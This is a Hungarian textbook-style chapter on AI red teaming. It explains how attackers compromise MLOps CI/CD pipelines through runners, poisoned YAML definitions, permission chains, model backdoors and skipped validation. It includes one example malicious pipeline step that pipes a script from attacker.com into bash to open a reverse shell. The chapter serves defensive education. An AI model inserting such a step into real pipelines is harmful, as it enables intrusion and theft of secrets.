10.3.1. CI/CD pipeline kihasználás: A gépház feltörése

Gondolj az MLOps folyamat gerincét adó CI/CD (Continuous Integration/Continuous Deployment) pipeline-ra úgy, mint egy gyár teljesen automatizált, hermetikusan lezárt futószalagjára. Nyersanyagok (kód, adatok) mennek be az egyik végén, és kész termékek (betanított modellek, telepíthető csomagok) jönnek ki a másikon. 

A rendszer megbízik a folyamat minden egyes lépésében. De mi történik, ha egy támadó nem a bejárati ajtót próbálja meg áttörni, hanem a futószalagot magát manipulálja? Mi van, ha a termékeket összeszerelő robotkarokat programozza át?

A CI/CD pipeline kompromittálása pontosan ezt jelenti. Ez nem egyetlen sebezhetőség, hanem egy támadási felület, amely a teljes AI ellátási lánc szívében helyezkedik el. Ha egy támadó hozzáférést szerez ehhez a „gépházhoz”, azzal gyakorlatilag a teljes fejlesztési és telepítési folyamat felett szerezhet irányítást.

Miért aranybánya a CI/CD pipeline?

Egy sikeres támadás a CI/CD rendszer ellen nem csupán egyetlen rendszer kompromittálását jelenti. A pipeline egy bizalmi csomópont, amely hozzáfér a szervezet legértékesebb erőforrásaihoz! 

Egy támadó számára ez a központi pozíció teszi ellenállhatatlan célponttá:

• Titkok és hozzáférések: A pipeline-oknak hitelesíteniük kell magukat a kódtárolókhoz, adatbázisokhoz, felhőszolgáltatókhoz és a model registry-hez. Ezek a hozzáférések (API kulcsok, szolgáltatásfiókok, SSH kulcsok) gyakran a pipeline környezeti változóiban vagy titokkezelő rendszereiben tárolódnak. Aki a pipeline-t irányítja, az ezeket a titkokat is megszerzi.
• Kód és adat: A pipeline hozzáfér a legfrissebb forráskódhoz és a legérzékenyebb tanító adatokhoz is. Ez lehetőséget ad a kód manipulálására (backdoorok elhelyezése) és az adatok exfiltrálására.
• Infrastruktúra feletti irányítás: A CD (Continuous Deployment) rész felelős az infrastruktúra létrehozásáért és frissítéséért (pl. Terraform, Ansible segítségével). A pipeline kompromittálásával a támadó tetszőleges erőforrásokat hozhat létre a szervezet felhő fiókjában, vagy módosíthatja a meglévőket.
• Bizalmi pecsét: A pipeline által előállított artefact-ek (Docker image-ek, modellfájlok) általában megbízhatónak minősülnek. Ha a támadó a pipeline-on belül tudja módosítani ezeket, a rosszindulatú kódja vagy modellje „hivatalos”, aláírt csomagként kerülhet a termelési környezetbe.

Tipikus támadási vektorok

A pipeline egy komplex rendszer, több ponton is támadható. Nézzünk meg néhány klasszikus és MLOps-specifikus módszert.

1. Kompromittált Build Agent/Runner

A build agent az a végrehajtó környezet (virtuális gép, konténer), ahol a pipeline lépései ténylegesen lefutnak. Ha a támadó képes magát a runnert kompromittálni, akkor minden rajta futó pipeline-t lehallgathat és manipulálhat. Ez történhet egy sebezhető Docker alapimage használatával, egy nem biztonságos függőség telepítésével, vagy ha a runner maga egy kompromittált hálózati szegmensben található.

2. Pipeline definíciók manipulálása (YAML-mérgezés)

A legtöbb modern CI/CD rendszer (GitLab CI, GitHub Actions, Jenkins) a pipeline-t egy, a kóddal együtt tárolt fájlban (pl. .gitlab-ci.yml) definiálja. Ha egy támadó írási jogot szerez a repository-hoz – akár egy fejlesztői fiók kompromittálásával –, egyszerűen hozzáadhat egy rosszindulatú lépést a pipeline-hoz.

test_model:
 stage: test
 script:
 - echo "Modell tesztelése..."
 - pip install -r requirements.txt
 - python tests/run_model_tests.py
 # A támadó által hozzáadott rosszindulatú lépés
 - curl -s http://attacker.com/rev.sh | bash
 

Ez a látszólag ártalmatlan sor letölt és lefuttat egy scriptet a támadó szerveréről, ami egy reverse shellt nyithat a build agent környezetéből, teljes hozzáférést biztosítva a támadónak a pipeline futásához és annak környezetéhez.

3. Jogosultsági lánc kihasználása

Gyakran a pipeline maga nem rendelkezik extrém magas jogosultságokkal, de olyan szolgáltatásokhoz fér hozzá, amelyek igen. Egy tipikus MLOps forgatókönyvben a pipeline egy ideiglenes, szűkített jogosultságú tokent kap a felhőszolgáltatótól (pl. egy AWS IAM szerepkörön keresztül). A támadó célja, hogy ezt a jogosultsági láncot kihasználva eszkalálja a privilégiumait.

A támadó egy, a pipeline-ba injektált paranccsal listázhatja a runnerhez rendelt szerepkör jogosultságait. Ha talál egy olyat, ami nem lenne szükséges a feladatához (pl. secretsmanager:GetValue), megpróbálhatja azt kihasználni, hogy további titkokat szerezzen meg.

Az MLOps csavar: Adatok és modellek a célkeresztben

Míg a fenti technikák a hagyományos szoftverfejlesztésben is ismertek, az MLOps környezet egyedi célpontokat és lehetőségeket kínál:

• Modellmérgezés a futószalagon: Ahelyett, hogy a támadó a forráskódot módosítaná, közvetlenül a tanítási vagy validálási lépésbe avatkozhat bele. Hozzáadhat egy scriptet, ami betölti a frissen tanított modellt, és egy trójai backdoorral látja el, mielőtt az a model registry-be kerülne.
• Tanító adatok exfiltrálása: A pipeline-nak szükségszerűen hozzá kell férnie a tanító adatkészletekhez. Egy kompromittált pipeline-ból ezek az adatok könnyedén kiszivárogtathatók egy külső szerverre, megkerülve a hagyományos adathozzáférés-kezelési kontrollokat.
• A validáció kijátszása: A pipeline-ok gyakran tartalmaznak automatizált tesztelési és validálási lépéseket. Egy támadó módosíthatja a pipeline definíciót úgy, hogy ezek a lépések mindig sikeresnek jelentsék magukat, vagy egyszerűen kihagyja őket, így egy hibás vagy rosszindulatú modell is átcsúszhat az ellenőrzésen.

AIí Red Teaming fókuszpontok

Amikor egy MLOps környezet CI/CD pipeline-ját vizsgálod, a célod, hogy feltárd a bizalmi lánc gyenge pontjait. A következő kérdések segíthetnek a felderítésben:

A CI/CD pipeline az MLOps ökoszisztéma ütőere. A Red Teaming során a feladatod nem az, hogy megkérdőjelezd az automatizálás szükségességét, hanem hogy rávilágíts: a bizalom nem lehet vak. Minden egyes lépés, minden egyes integráció egy potenciális gyenge pont, és a gépház védelme kritikus a teljes ellátási lánc biztonsága szempontjából.